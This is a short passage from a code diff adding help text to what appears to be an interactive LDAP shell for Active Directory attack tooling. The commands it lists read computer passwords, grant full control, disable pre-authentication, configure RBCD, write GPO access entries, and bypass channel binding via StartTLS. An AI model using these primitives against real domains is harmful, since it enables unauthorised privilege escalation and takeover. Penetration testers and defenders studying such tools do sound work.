passwords associated with a given computer (sAMAccountName). + grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName). + set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false. + set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). + start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel. + write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. + exit - Terminates this session.""") + + def do_EOF(self, line): + print('Bye!\n') + return True